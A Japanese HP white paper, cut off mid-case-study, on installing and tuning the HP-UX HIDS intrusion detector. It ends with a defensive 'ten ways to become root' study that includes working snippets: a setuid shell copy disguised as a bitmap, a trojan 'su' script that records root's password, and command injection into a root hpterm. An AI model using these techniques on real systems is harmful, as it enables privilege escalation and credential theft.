Comments
Transcript
HP-UX HIDS(Host Intrusion Detection System)
HP-UX HIDS (Host Intrusion Detection System) ホスト型侵入検知システム White paper 目次 HP-UX HIDS (ホスト型侵入検知システム) とは? ................................................................................... 3 ホスト型IDSとネットワーク型IDS ................................................................................................................... 3 HP IDS は他のホスト型侵入検知システムとどう違うのか? .................................................................. 3 HP IDS は何を検知することができるのか? ............................................................................................. 4 システムの構成 ................................................................................................................................................ 4 HP IDSの導入 ..................................................................................................................................................... 5 ソフトウェアのインストール............................................................................................................................. 6 SSL 暗号化通信のセットアップ ...................................................................................................................... 6 エージェントの起動 .......................................................................................................................................... 7 管理GUIによる設定 ........................................................................................................................................ 7 監視と運用 ......................................................................................................................................................11 運用のコツ ..........................................................................................................................................................12 パフォーマンス低下 .......................................................................................................................................12 ログファイルの管理 .......................................................................................................................................12 応答プログラムの作成 .................................................................................................................................13 テンプレートのカスタマイズ .........................................................................................................................14 ケーススタディ --- rootになる 10 の方法とHP IDSによる防衛 ...........................................................14 1) シェルのコピー (setuid) ........................................................................................................................15 2) パスワードの推測 .....................................................................................................................................15 3) 盗聴 (Sniffing) ........................................................................................................................................16 4) ドット (.) パス .............................................................................................................................................17 5) hpterm への書き込み ...........................................................................................................................17 6) UID 0 のユーザー ....................................................................................................................................18 7) 物理的なアクセス .....................................................................................................................................19 8) バッファ オーバーフロー..........................................................................................................................19 9) FTP デーモン ..............................................................................................................................................20 10) レース競合 (race condition) ..........................................................................................................21 まとめ ...................................................................................................................................................................21 参考情報 .............................................................................................................................................................23 HP-UX HIDS (ホスト型侵入検知システム) とは? HP-UX HIDS (以下 HP IDS) は、セキュリティ破壊につながるユーザーやシステムの挙動を監視する HP-UX 専用の侵 入検知ソフトウェアです。HP IDS はホスト型の侵入検知システムで、セキュリティ侵害につながる恐れのあるシステム のアクティビティを監視します。検知した不正な活動はただちに管理システムへと報告され、管理者はリアルタイムで侵 入を把握することができ、被害を最小限に留めることができます。また警告を報告する際には任意のスクリプトを自動 的に実行することも可能なので、管理者の介入を待たずに迅速な対応を行うこともできます。 ホスト型IDSとネットワーク型IDS 一般に IDS (侵入検知システム) にはホスト型のものとネットワーク型のものが存在します。それぞれはお互いに得意と する分野があり、相互に補完しあうことでさらに強固なシステムを構築することができます。ホスト型 IDS はネットワーク IDS では特定できない侵入を検知し、最終防衛ラインとしてシステム全体のセキュリティを支えます。HP IDS はホスト型 の侵入検知システムです。 ホスト型 IDS ネットワーク型 IDS 対象システムのカーネル監査データやログファイル、特定 のファイルの改ざんを監視 LAN に接続された専用のシステムによりネットワ ークに流れるパケットを監視 特定の攻撃パターンとシステムのアクティビティを照合する ことで攻撃を検知 シグネチャ (攻撃パターン) と比較することによ り様々なネットワーク攻撃を検出 多くの攻撃は最終的に特定のアクティビティ パターンを示 すため、既知の攻撃だけでなく将来登場してくる未知の攻 撃シナリオにも対応可能 新しい攻撃パターンに対応するために、シグネチャ の頻繁なアップデートが必要 ネットワークを経由しないローカルな攻撃にも対応可能 ネットワーク越しの部外者の攻撃に対応 そのホストに対する攻撃しか検知できない 接続されているネットワークを流れるすべてのトラ フィックを監視する HP IDS は他のホスト型侵入検知システムとどう違うのか? 現在、存在する商用のホスト型侵入検知システムはそれほど多くありません。その中でも HP IDS は HP-UX カーネル と非常に密接に連携して動作するという点が特徴的です。サード パーティ ベンダでは実現できない完全な分析および 侵入検知機能を提供します。 また伝統的なシグネチャ マッチングによる脆弱性監視ではなく、攻撃された際によく見られる特定のアクティビティ パタ ーンを監視することで、機知の攻撃パターンに加え将来登場してくる攻撃シナリオにも柔軟に対応できます。頻繁なシ グネチャの更新作業も必要ありません。 さらに HP IDS はほぼリアルタイムで侵入を検知します。他の多くの侵入検知システムは 1 日に 1 回実施される分析/ 報告の時まで侵入を認識できないため、侵入者に多くの時間的余裕を与えてしまいます。HP IDS は侵入を検知すると 即座に監視エージェントから管理システムに警告が送られ、必要ならばあらかじめ用意された応答プログラムを自動的 に実行します。 Note:HP IDS はカーネル レベルのアクティビティを監視するという点で HP-UX の持つ C2 監査機能と似ています。し かしオーバーヘッドの点でははるかに少なく、侵入検知に特化したものです。また HP IDS を使用するために HP-UX を 高信頼性モード (Trusted Mode) で運用する必要はありません。 3 HP IDS は何を検知することができるのか? デフォルトでは次のようなシステム アクティビティを検知することができます。 名前 バッファ オーバーフロー攻撃 ログファイルの変更 setuid ファイルの作成 world-writable ファイルの作成 他のユーザーが所有するファイルの 変更 ファイル/ディレクトリの変更 ログイン/ログアウトの監視 詳細 setuid プログラムが、自身以外のプログラムを実行したとき プログラムが「予測外に」ユーザーID 0 (root)を取得したとき Append 以外の方法で指定のファイルの修正が試みられたとき ファイル パーミッションの setuid ビットがセットされたとき setuid ファイルのオーナーが指定ユーザーへ変更されたとき setuid ビットがセットされたファイルが作成されたとき ファイル パーミッションの world-writable ビットがセットされたとき world-writable ファイルのオーナーが指定ユーザーに変更されたとき 指定のユーザーがオーナーである world-writable ビットがセットされたファイルが 作成されたとき オーナー以外のユーザーによってファイルが変更された場合 指定のファイルに対して、改ざんの試みが成功したとき 指定のディレクトリおよびそのサブディレクトリ (適用除外指定も可) に対して、内容改ざ んおよびファイルの追加/削除の試みが成功したとき 指定のファイルのオーナー/パーミッションが変更されたとき (実際に変更が行われたとき のみ) ユーザーのログイン/ログアウト Race Condition 攻撃 対話型のユーザー セッションのスタートをモニター (FTP セッション、リモートログインおよ び別のユーザー名に変わる su コマンドの使用を含む) 特権プログラムがアクセスするファイル参照先が予測外に変わった場合 ログイン失敗の繰り返し 規定回数以上、ログインに失敗した場合 su コマンド失敗の繰り返し 規定回数以上、ユーザーID の変更に失敗した場合 対話型セッションの開始を監視 システムの構成 HP IDS は管理システムとエージェント システムの 2 つの大きなシステムにより構成されます。この 2 つのシステムは それぞれ異なるホスト上で動作させることもできますし、同じホスト上で動かすこともできます。 4 SSL 暗号化通信 設定/制御/警告 検 出 テ ンプ レー ト 管理GUIインター フェイス idsgui 応 答 実 プ 行 ロ グ ラ ム IDS エージェント idsagent 参 照 イベント相関 エンジン idscor 収集 カーネル監査 データ idskerndsp 管理システム 収集 システム・ログ データ idssysdsp エージェント・システム それぞれのシステムは以下のようなコンポーネントにより構成されます。 コンポーネント名 説明 管理 GUI インターフェイス 管理者はこの GUI を使用してエージェント システムの設定、制 御、監視を行う。 IDS エージェント データ収集コンポーネントを制御/統括し、危険を検出するとただ ちに警告を管理システムに送信する。 相関エンジン データ収集コンポーネントからデータを収集し、警告を発するべき かどうかを判断する。 データ収集コンポーネント (カーネル監査データ とシステム ログ データ) カーネルおよびシステム ログからデータを収集し、相関エンジン に渡す。 検出テンプレート ほとんどの攻撃はいくつかの特定のパターンを示す。こうしたアク ティビティのパターンをテンプレートと比較/照合することにより攻 撃を検出する。 応答プログラム エージェントは警告を報告すると同時に、あらかじめカスタマイズ された応答プログラムを実行することも可能。 SSL 暗号化通信 エージェント システムと管理システムの間は暗号化されたネット ワーク リンクで結ばれ、侵入者によるデータの改ざんを防ぐ。 HP IDS の導入 HP IDS を導入するには、次の手順に従ってください。 o ソフトウェアのインストール o SSL 暗号化通信のセットアップ o エージェントの起動 o 管理 GUI による設定 o 監視と運用 5 ソフトウェアのインストール HP IDS は次の OS が動作するプラットフォーム (PA-RISC と Itanium) をサポートします。 名称 コードネーム プロセッサ タイプ HP-UX 11.0 B.11.00 PA-RISC HP-UX 11i v1.0 B.11.11 PA-RISC HP-UX 11i v1.6 B.11.22 Itanium HP-UX 11i v2.0 B.11.23 Itanium HP IDS ソフトウェアは次のいずれかの方法で入手することが可能です。 • HP-UX OE メディア (HP-UX 11i v2 と 11i v1 の OEUR1203 以降) --- OS インストール時に同時にインストールする ことが可能 • アプリケーション リリース CD (HP-UX 11.0 および 11i AR1203 以降) • HPソフトウェア デポ webサイト --- http://software.hp.com より無償でダウンロードが可能 必要なパッチなどの詳細についてはリリースノートを参照してください。また初めてエージェント システムをインストール する際には再起動が必要となります。 SSL 暗号化通信のセットアップ HP IDS は管理システムとエージェント システム間の通信を傍受/改ざんされるのを防ぐために SSL を使って暗号化を 行います。ここでは HP IDS における SSL のセットアップ手順について説明します。 ④ 証明書のインポート ① ルートCAと証明書の作成 エージェント A の証明書 ルートCA 管理システムの証明書 エージェント・システム A エージェント A の証明書 ③ 証明書を転送 ④ 証明書のインポート エージェント B の証明書 ② 各エージェント用の証明書 を作成 管理システム エージェント B の証明書 エージェント・システム B SSL のセットアップは上図に示すように大きく分けて 4 つのステップに分かれます。 1. まずは管理システムにおいてルート CA と証明書を作成します。ユーザー ids でログインし、次のコマンドを実行し てください。生成されたキーは /etc/opt/ids/certs/admin に置かれます。 $ su – ids $ cd /opt/ids/bin $ IDS_genAdminKeys install 6 2. 各エージェント システムに対して証明書を作成します。次のコマンドを実行すると、どのエージェントに対して作成す るのかを尋ねられます。適切なホスト名または IP アドレスを入力してください。作成された証明書バンドルは /var/opt/ids/tmp に置かれます。 $ IDS_genAgentCerts 3. 作成した証明書バンドルを 安全 な方法で各エージェント システムに転送します。暗号化された PGP メールやフ ロッピー ディスク、テープなどの方法でファイル /var/opt/ids/tmp/agentsys.tar.Z を転送してください。FTP や RCP は安全な方法とは言えません。 管理システムとエージェント システムが同じホストの場合には転送する必要はありません。 4. それぞれのエージェント システムで転送された証明書バンドルをインポートします。ユーザー ids で以下のコマンド を実行してください。agentsys はエージェント システム、adminsys は管理システムのホスト名です。管理システム とエージェント システムが同じホストの場合には同じホスト名を指定します。 インポートされたキーは /etc/opt/ids/certs/agent に置かれます。 $ su – ids $ cd /opt/ids/bin $ IDS_importAgentKeys /var/opt/ids/tmp/agentsys.tar.Z adminsys エージェントの起動 次に各エージェント ホスト上でエージェント プログラムを起動します。以下の手順に従ってください。 1. エージェント ホストにまず root でログインし、次に ids ユーザーにスイッチします。 # su ids 2. エージェント プログラムを開始します。 $ /opt/ids/bin/idsagent Note:管理システムおよびエージェント システムの ids ユーザーはアカウントがロック (パスワード フィールド が ”*” ) されており、ids として直接ログインできないようになっています。セキュリティを高めるために ids ユーザー にはパスワードを設定しないようにしてください。ids ユーザーになるためには一度スーパーユーザーになってから su を使います。 エージェントの手動起動が必要となるのはこの最初の一度だけです。次回システムが起動される際にはエージェントは 自動的に開始されます。 これは、先ほど IDS_importAgentKeys を実行した際に /etc/rc.config.d/ids の IDS が 1 にセットされ、起動スクリプト /sbin/init.d/idsagent start が自動的に実行されるようになっているためです。 管理GUIによる設定 エージェント側の準備が整ったところでいよいよ管理システムから GUI を立ち上げて IDS の設定を行っていきます。管 理システムにユーザーids でログインし、DISPLAY 変数を適切にセットした後、Java GUI を起動します。 $ su ids $ export DISPLAY=chris:0.0 $ /opt/ids/bin/idsgui すると以下のような システム マネージャー ウィンドウが表示されます。これがメインの管理ウィンドウです。 7 System Manager ウィンドウ 監視対象ホストの追加 管理 GUI でまず最初に行うべきことは管理対象ホストの追加です。システム マネージャ ウィンドウの [Edit] > [Host Manager] と選び ホスト マネージャ ウィンドウを表示させます。 Host Manager ウインドウ さきほど証明書を発行したホストの一覧がリストされているので、監視したいホストの Monitored ボックスをチェック します。するとそのホストが監視対象として追加され、システム マネージャ ウィンドウの Monitored Nodes パネル に表示されます。まだ監視は開始していないので、状態 (Status) 欄には Available と表示されているはずです。 8 System Manager ウィンドウにホストが追加される 監視スケジュール (Surveillance Schedule) 監視スケジュールはいくつかの監視グループから構成されており、それらをどの曜日/時間帯に動作させるかを定義し ています。ホストの監視を開始するためにはそこで使用するスケジュールを選択する必要があります。デフォルトで用 意されているスケジュールを使用することもできますが、これは変更することができないので、ここでは新しいスケジュ ールを作成します。 Schedule Manager ウィンドウ システム マネージャ ウィンドウの [Edit] > [Schedule Manager] よりスケジュール マネージャ ウィンドウを表 示します。 1. 2. Schedules パネルの New ボタンをクリックします。 名前入力ウィンドウが表示されるので新しいスケジュールの名前 MySchedule を入力します。 9 3. 4. OK をクリックします。 作成されたスケジュールが Schedules パネルに表示されます。 新たに作成されたスケジュールはデフォルトですべての監視グループを含みますが、必要なものだけを適用するように 変更しておきましょう。 1. 2. 3. Schedules パネル内の MySchedule をクリックします。 右側の Configure タブに、そのスケジュールに含まれる監視グループが表示されます。 AdvancedGroup と AllTemplateGroup のチェックを外します。 これで MySchedule には FileModificationGroup と LoginMonitoringGroup の 2 つが含まれることにな りました。 適用する監視グループを選択 最後にこれらの監視グループを適用する曜日/時間を設定しましょう。FileModficationGroup は週末だけ適用す ることにします。 1. 2. 3. 4. 5. Schedule パネルの MySchedule をクリックします。 右側の TimeTable タブを選択します。 まず Selected Groups パネルの FileModificationGroup をクリックして選択します。 Criteria パネルを Always On から Specified へ変更します。 次に Select Days パネルから Sunday と Saturday を選択します (Ctrl キーを押しながらクリックすると複 数選択することができます) 。 10 6. 7. Selected Groups パネルに戻り、今度は LoginMonitoringGroup を選択します。 Criteria パネルが Always On となっていることを確認します。 以上の操作が終わったら Save ボタンを押して作成したスケジュールを保存します。 タイムテーブル表示 監視と運用 いよいよホストの監視を開始します。スケジュール マネージャ ウィンドウを閉じて、システム マネージャ ウィンドウに戻 ります。 1. 2. 3. 4. Monitored Nodes パネルより監視したいホストを選択します。 次に Schedules パネル内の適用したいスケジュール (ここでは MySchedule) を選択します。 Activate ボタンを押すと、そのスケジュールがホストに転送され、侵入検知が開始されます。 正常に監視が開始されると Status が Available から Running へと変わります。 検出された警告は ネットワーク ノード ウィンドウで確認することができます。[View] > [Network Node] と選び ウィンドウを表示させます。 11 Network Node ウィンドウ このウィンドウにエージェントから送られてくるアラート メッセージがリアルタイムで表示されます。メッセージの詳細を確 認したい場合には、そのメッセージを選択すると詳細情報がウィンドウ下部に表示されます。 運用のコツ パフォーマンス低下 HP IDS の導入によってシステムのパフォーマンスが著しく低下してしまった場合は、まず適用しているテンプレートを見 直してください。テンプレート「バッファオーバーフロー-攻撃」と「Race Condition 攻撃」はその性質上最も高いオー バーヘッドを示します。これらのテンプレートをスケジュールから外し、次の代替案を適用することをお勧めします。 • HP-UX11i version 1 以降ではシステム パフォーマンスを犠牲にせずにスタック バッファオーバーフロー攻撃を防ぐ 仕組みが用意されています。カーネル パラメータ executable_stack と chatr コマンドの -es オプションを 活用してください (詳細は executable_stack (5)、chatr (1)の man ページを参照) 。 • HP-UX 11i version 1.6 以降ではカーネル パラメータ secure_sid_scripts によりデフォルトでスクリプトの set*id ビットが無視されるように設定されています。これにより setuid あるいは setgid ビットはその効力を失 い、悪意のあるユーザーの攻撃を回避することができます (詳細は secure_sid_scripts (5)の man ページ を参照) 。 また、もし管理システムとエージェント システムを同じホストで動作させている場合は、これを別々のマシンで動かすの も一つの方法です。特に実稼動システムではこれによりパフォーマンス オーバーヘッドを最小限に減らすことができま す。 ログファイルの管理 エージェントのメッセージを記録する以下のログファイルは運用と共に際限なく大きくなります。これらのファイルは放置 するとディスク スペースを圧迫するため、定期的にメンテナンスを行う必要があります。 アラート ログ ファイル /var/opt/ids/alert.log 12 エラー ログ ファイル /var/opt/ids/error.log HP IDS バージョン 2.2 では新たにログ ファイル ローテーション機能が追加されました。エージェント起動中に上記のロ グファイルが削除されたり名前が変更された場合には、自動的に新たなファイルが作成され、そこにメッセージが記録 されます。これによりエージェントをいちいち停止させることなくログのアーカイブが可能となりました。 応答プログラムの作成 自動応答は HP IDS の強力な機能の 1 つです。この機能は HP IDS が備える検知報告機能を補完するもので、ユーザ ーが作成した任意の応答プログラムを警告発生時に自動的に実行するものです。 エージェントは侵入を検知すると次の手順を実行します。 1. 2. 3. 4. 5. エージェントはメッセージをログ ファイル (/var/opt/ids/alert.log) に記録します。 管理システムと通信している場合は、メッセージを送信します。 レスポンス ディレクトリ (デフォルトでは/opt/ids/response) に置かれている実行ファイルを探します。エージ ェントは最大 50 までのファイルを実行することができます。 それぞれの実行ファイルに対して環境変数を設定し、コマンドライン引き数として警告の詳細を渡します。 各ファイルを ASCII ソートされた順番で実行します。終了は待ちません。 管理者が望む侵入に対するアクションは一般に次のような 4 種類に分類することができます。 • 情報の転送 --- 侵入の事実を電子メールやポケベルに転送します。重要度などによりフィルタリングすることができ るので警告の嵐に悩まされることもありません。 • さらなる攻撃の抑止 --- 即座にシステムの属性を変更することによってこれ以上の攻撃を防ぐことができるかもしれ ません。これにはアカウントの無効化、リモートログインの拒否、アクセス パーミッションの変更などが含まれます。 • 証拠の保存 --- 侵入の痕跡を保存して、被害を最小限にするためにすぐにシステムを停止するという選択肢もありま す。ネットワーク接続をすべて遮断するというのも有効かも知れません。 • 「健全」な状態へのリストア --- サービスを停止することができない場合には、マシンを「健全」な状態にリストアする のも 1 つの手です。もし重要なファイルが変更された場合には、あらかじめ作成していた CD-ROM などの再生専用 メディアからファイルをリストアして元の状態に復元します。 ここでは情報の転送の一例として警告を電子メールで管理者に連絡する応答スクリプトを紹介します。このシェル スク リプトは重要度 1 の警告を受け取ると root へその詳細をメールします (渡される引き数や環境変数の詳細について はマニュアルを参照してください) 。 #!/bin/ksh # # Sample ids/9000 alert response script # # Send an email to root if a severity 1 alert is received # IDS_BASE="/opt/ids" IDS_ETC="/etc/opt/ids" IDS_VAR="/var/opt/ids" RESPONSE_BASE=$IDS_BASE/response # Replace this with the target email address RECIPIENT="root" # Setting the umask to a "sane" value umask 077 # If we have a severity 1 alert then send the details in email if [ $3 = "1" ] then echo "$8" | /bin/mailx -s "$7" ${RECIPIENT} fi 13 # Exit with no error exit 0 テンプレートのカスタマイズ デフォルトのテンプレート設定では生成されるメッセージが多すぎると感じるかも知れません。このようなときはテンプレ ートのプロパティを変更して適切な数にチューニングすることができます。 例えば「ファイル/ディレクトリの変更」テンプレートのデフォルト設定では /etc/passwd ファイルが監視対象となって いるので、ユーザーが passwd コマンドでパスワードを変更するたびにアラートが生成されます。そこで passwd コマ ンドによる /etc/passwd ファイルの変更は無視するように設定を変更したい場合は、テンプレートのプロパティに以 下を追加します。 Files modified by Program List 1 = Program List 1 = [ /etc/passwd$ ] [ /usr/bin/passwd ] こうすることにより特定のプログラムが特定のファイルに行った変更に関してはアラート (警告) が生成されないように なり、それ以外の、例えば /etc/passwd ファイルを vi でエディットした場合にはアラートが生成されます。 Note:テンプレートのプロパティはそのテンプレートを持つ監視グループに保持されます。従って同じテンプレートを使 っていても、異なる監視グループは異なるテンプレート プロパティを持つことができます。また、デフォルトで用意されて いるスケジュール/監視グループは変更することができないので、変更を加える際には新たに作成するか、既存のもの をコピーして使用してください。 以下のガイドラインに従うことにより、紛らわしい警告を最小限に抑えて侵入検知の効果を最大限に発揮させることが できます。 • テンプレート「ファイル/ディレクトリの変更」はそのままでは大量の警告を生成するでしょう。必要最小限のファイル/ ディレクトリのみを監視することで多くのメッセージを抑制することができます。例えば、もしシステムが侵入されたと き、最もリスクが高い箇所はどこかを考えてみてください。/bin や/sbin の下のプログラムや /stand のカーネ ルの置き換えは明らかに深刻な脅威につながります。また /etc や/opt の下のファイルの書き換えも同様です。 ほかにあなたのシステムに追加すべき重要なディレクトリがあれば、それらを監視下においてください。 • 逆にどのような場所であれば無視できるかも考慮してみましょう。例えば /var/adm 下の多くのファイルの変更は 通常は安全な範囲内です。これらのディレクトリは監視対象からはずしましょう。ただし /var/adm からシンボリック リンクによって攻撃された場合はこれを見逃してしまうことになります。これはトレードオフの関係です。 • テンプレート「他のユーザーが所有するファイルの変更」は適切にチューニングしないと非常にたくさんのアラートを 生成します。その場合は、代わりに「ファイル/ディレクトリの変更」を使用するとよいでしょう。 • システムが定期的に メンテナンス モードに入る場合は、その間は監視スケジュールを適用しないようにしてください。 • 「ログインの失敗」、「su の失敗」、「セッション追跡」テンプレートのオーバーヘッドは非常に小さいので常に適用して いてもよいでしょう。 ケーススタディ --- root になる 10 の方法と HP IDS による防衛 システムに侵入する者の目的は明確です。UNIX において最高の権力を誇るユーザー root の権限を得ることです。 一度、このユーザーになることができればシステムを自由に操り、どのような情報でも入手することができます。 このケーススタディでは root になるための数ある方法の中から 10 の方法を紹介し、HP IDS でこれらを検知できる かどうかを検証していきます。これらの侵入テクニックは既にインターネットやその他の情報源により広く知られている ものです。この中のいくつかはシステムに通常のユーザー アカウントでログインできることを前提としていますが、ネット ワーク サービスにアクセスさえできればよいものもあります。 14 1) シェルのコピー (setuid) まずは最初のテクニックとして、通常のユーザーが root でログインする必要もなしに root レベルのアクセスを入手 する方法を紹介します。 $ whoami jrice $ sh –c id uid=4004(jrice) gid=20(users) $ ./grandcanyon.bmp # whoami root # sh –c id uid=4004(jrice) gid=20(users) euid=0(root) # 上記の例では最初は通常のユーザーjrice (UID=4004) がログインしています。通常、非 root ユーザーはプロンプ トとして $ が使用されます。そして jrice は一見ビットマップ ピクチャーに見えるものを実行し、その結果、jrice は root ユーザーとなりました (プロンプトが $ から # になっていることに注意) 。id コマンドの結果、Effective ID が root となっており、ユーザーjrice が root としての能力を持っていることがわかります。 いったいこれはどのようにして起こったのでしょうか? その謎はここで実行した不思議なファイルにあります。このファイ ルを作成するために、非 root ユーザーはなんとかして次のコマンドを root に実行させる必要があります。 # cp /sbin/sh /home/jrice/grandcanyon.bmp # chmod 4755 /home/jrice/grandcanyon.bmp # echo “Vacation Pix” | mail [email protected] これを見て管理者の皆さんは恐らく「こんなコマンドは絶対に実行しない」と思われたことでしょう。たしかにその通りで す。意識して実行することはまずないでしょう。しかし悪意のあるユーザーの行うことは、これらのコマンドを root に無 意識に実行させることなのです。実際、これにはいくつかの方法があります。最も一般的なのはファイル/ディレクトリの パーミッションの弱点につけこむ方法です。一度、侵入者が変更可能なファイルを見つけると、単純に上記のコマンドを このファイルに追加し、それが実行されるのを待ちます。これが「バックドアの設置」と呼ばれる手法です。 ここでもし root ユーザーの .profile ファイルのパーミッションが変更されて、誰でも書き込みできる状態になって いたと仮定しましょう。攻撃者は好きなコマンドを .profile に書き加えます。次に root がログインする と .profile は自動的に実行され、悪意のあるコマンドも同様に実行されます。そして侵入者には電子メールにより 「成功」が通知され、ただちに改ざんの痕跡を抹消してしまうでしょう ( .profile を元の内容に戻し、パーミッションも 本来のものに戻します) 。root が定期的に実行するすべてのファイル (例えば多くの .rc ファイル) は潜在的にこの 脆弱性を持つので、パーミッションは適切に設定されていなければなりません。 このテクニックで鍵となるのは setuid です。このファイルのパーミッションを注意深く見てみると、 -rwsr-xr-x 1 root sys 204800 Oct 18 14:33 grandcanyon.bmp となっており、パーミッションで通常見られる x の代わりに s が表示されています。この s は SET USERID に基づ いており、このファイルがファイル所有者の権限で実行されることを意味します (詳細については man chmod を参照 してください) 。従って一般ユーザーが grandcanyon.bmp (実体は /sbin/sh) を実行すると、root 権限でシェル が起動されるのです。 HP IDS でこの方法を検知できるか? → Yes テンプレート「setuid ファイルの作成」を有効にすることで新しい setuid ファイルが作成されるとただちに警告が送 られます。 2) パスワードの推測 前の方法では root としてログインすることなしに root 権限を得る方法を説明しました。しかし root になる最もシン プルな方法は実際に root でログインすることです。そのためにはシステムにアクセスしパスワードを見つけ出さなくて はなりません。ここではその代表的な 2 つの方法を紹介します。 15 トライ & エラー 通常のユーザーと同じようにログインして root のパスワードを発見する方法です。HP-UX のデフォルトでは、このロ グイン試行回数に制限はありません。この方法を自動的に行うプログラムを組めば、悪意のあるユーザーはイスに座り 10000 回もパスワードを打つ必要はなく、このプログラムがすべてを自動でやってくれます。 $ telnet ctg700 Trying... Connected to ctg700 Escape character is ‘^]’. Local flow control on Telnet TERMINAL-SPEED option ON HP-UX ctg700 B.11.11 U 9000/785 (ta) login: root Password: Login incorrect login: root Password: Login incorrect login: root Password: 3 回失敗すると接続が切断されますが、アカウントがロックされるわけではありません。攻撃者はこの攻撃をパスワード が見つかるまで繰り返すことができます。 ここまで読んだ皆さんは、「自分のシステムではこんなことは起こりえない」と思ったかもしれません (アカウントをロック するように設定している、root のログインはコンソールのみに限定しているなど) 。しかしここはよく考える必要があり ます。他にトライ&エラーでパスワードを推測する方法はありませんか? POP サーバーを動かしていませんか? POP を使って root のパスワードを試すことはできませんか? su コマンドはどうでしょう? HP IDS でこの方法を検知できるか? → Yes (一部 No) テンプレート「ログイン失敗の繰り返し」を有効にすることでログイン コマンド (telnet、rlogin、su) を使ったトライ& エラーによるパスワード推測を検知することができます (ただし POP など他の方法を使った試みは検知することができ ません) 。 クラック (Crack) トライ&エラーを行うには忍耐が必要で、かつ何回も試行が行える環境も必要です。もしそのシステムに一般ユーザー としてログインできる、あるいは何らかの方法でパスワード ファイル (/etc/passwd) を入手することができるなら、攻 撃者は恐らく クラック と呼ばれるパスワード推測プログラムを使ってパスワードの解読を試みるでしょう。 HP IDS でこの方法を検知できるか? → No パスワード ファイル (/etc/passwd) に対するクラック プログラムの実行は HP IDS では検知できません。例えできた としてもこのパスワード ファイルを別システムにコピーされてしまえば クラック されることを防ぐことはできません。 3) 盗聴 (Sniffing) クリアテキストで送られるパスワードを検出する様々なネットワーク盗聴システムが世の中には存在します。クリアテキ ストというのは、何も暗号化されていない状態を指します。例えば telnet はクリアテキストでパスワードをネットワー クに送信します。そのためこのトラフィックをのぞき見することができるものは誰でもその内容を見て、理解することがで きるのです。 16 telnet はクリアテキストでパスワードを送信する唯一のプログラムではありません。rlogin、rsh、ftp、POP など のプログラムもクリアテキストでパスワードを送信します。 HP IDS でこの方法を検知できるか? → No HP IDS は現在のところ特定のプログラムの使用を監視することはできません。さらに盗聴プログラムはネットワーク上 の様々な場所に設置することができ、これらのほとんどは HP IDS の監視対象外です。 4) ドット (.) パス トロイの木馬とは、一見通常のプログラムのように見えて、実は裏側で悪意のあるコードを実行しているプログラムのこ とです。最初の方法で紹介したシェルをコピーするために書き込み可能ファイルを変更するテクニックは、なりすまし、 あるいはこのトロイの木馬と考えることができます。この方法の困難な点は、書き換え可能なファイルを見つけ出すこと、 そして root にそれを実行させることです。ここで説明する PATH 変数の変更は、これらの成功確率を大幅に向上させ るテクニックです。 一般的なシナリオを考えてみましょう。管理者であるあなたは、問題に直面しているあるユーザーから連絡を受けます。 電話で相談に応じた結果、あなたはユーザーのところまで歩いて行き、直接対応したほうが効率がいいと判断しました。 ユーザーと一緒に何分か作業するうちに問題の原因が判明し、その修正の方法もわかりました。そのユーザーは既に 自分のアカウントでログインしています。問題を修正するためにあなたは su コマンドを実行し root になり、ファイル を修正し、exit しました。問題は解決し、あなたは自分の席に戻ります。そしてあなたが去った後、このユーザーは root のパスワードがクリアテキストで記録されたファイルをのぞいているのです。 どうしてこのようなことが起こるのでしょう? あなたに連絡を入れる前に、このユーザーは 2 つのことを行っていました。 まずは以下の内容を持つ実行ファイル su の作成です。 stty –echo echo “Password:\c” read password echo echo “$password $1” >> myfile rm $HOME/su stty echo echo su: Sorry そして PATH 変数の最初に . あるいは : を追加します。 $ export PATH=.:$PATH 管理者がこのユーザーのアカウントから su を実行したとき、変更された PATH 変数によってまず最初にカレント ディ レクトリの su コマンドが検索されます。カレント ディレクトリにはこのユーザーが作成した su スクリプトが存在してお り、これが本物の su コマンドの代わりに実行されることになります。スクリプトに促されて管理者が入力したパスワー ドはファイルに書き出されて、このダミーの su スクリプトは自身を削除します。 Sorry と表示されたため、管理者は 自分の入力したパスワードが間違っていたと解釈し、もう一度 su コマンドを実行します。 今回はダミーの su がカレント ディレクトリに見つからないのでパスの検索が続けられ、本物の su コマンドを見つけ た時点でそれが実行されます。 HP IDS でこの方法を検知できるか? → Yes 環境変数の変更は HP IDS では検知できません。しかし、トラップによってパスワードが盗まれてしまった場合でも、そ のパスワードを使って root でログインあるいは root へ su した際には警告が発せられます。 5) hpterm への書き込み この方法の目的も root に特定のコマンドを実行させることです。悪意のあるユーザーはまず who –T を実行しログ インしているユーザーの情報を入手します。 17 $ who -T root + console jrice - pts/1 root - pts/2 root - pts/3 Nov Dec Nov Nov 19 25 19 19 13:44 old 14:35 old 13:59 23:20 15:56 old 14745 16686 14959 16190 ctg700 ctg700:0.0 ctg700:0.0 ctg700:0.0 この出力の 2 番目のフィールドはターミナルにメッセージを書き込みできるかどうかを示しています。 + はできることを - はできないことを意味します。一般ユーザーjrice として次に示すコマンド (シェルのコピー) を実行させてみましょ う。 $ echo “\r cp /bin/sh /home/jrice/grandcanyon.bmp \r\033d” > /dev/console ターミナルに書き込んだ後、 ls を実行してシェルのコピーが存在するか確認します。この結果を見ると、どうやらター ミナルはコマンドを実行しなかったようです。 $ ls /home/jrice/grandcanyon.bmp /home/jrice/grandcanyon.bmp not found では違うターミナルを使ってもう一度挑戦してみましょう。 $ who -T root + console jrice - pts/1 root - pts/2 root + ttyp1 root - pts/3 Nov Dec Nov Nov Nov 19 25 19 19 19 13:44 old 14:35 old 13:59 23:20 13:59 23:20 15:56 old 14745 16686 14959 14958 16190 ctg700 ctg700:0.0 ctg700:0.0 ctg700:0.0 ctg700:0.0 root によってオープンされている別のセッションを選択します。この ttyp1 は mesg が許可されています。 $ echo “\r cp /bin/sh /home/jrice/grandcanyon.bmp \r\033d” > /dev/ttyp1 $ ls /home/jrice/grandcanyon.bmp /home/jrice/grandcanyon.bmp 今回はコマンドが実行されました! どうして 2 回目では成功したのでしょうか? 実はこのときコマンドは hpterm に送られていました。このターミナルは dtterm で”hpterm”と入力することにより起動できます。もしターミナルが hpterm でかつ mesg=y の状態ならば、ユ ーザーはこのスクリーンにメッセージを書き込むことができます。あなたがもしスクリーンの前にいるなら、この様子を観 察することもできます。もしあなたがそこにいない場合、あるいは別のスクリーンが上にのって hpterm を隠してしまっ ている場合は、それを見ることができません。悪意のあるユーザーがこの方法を使って最後に実行するコマンドは clear です (それまでに入力したコマンドをスクリーンから消し去ります) 。 HP IDS でこの方法を検知できるか? → Yes or No これは攻撃者が何を hpterm に書き込むかに依存します。例えば、この方法を使って setuid ファイルの作成を行っ た場合は、ただちに管理者に警告が送信されます。 6) UID 0のユーザー root 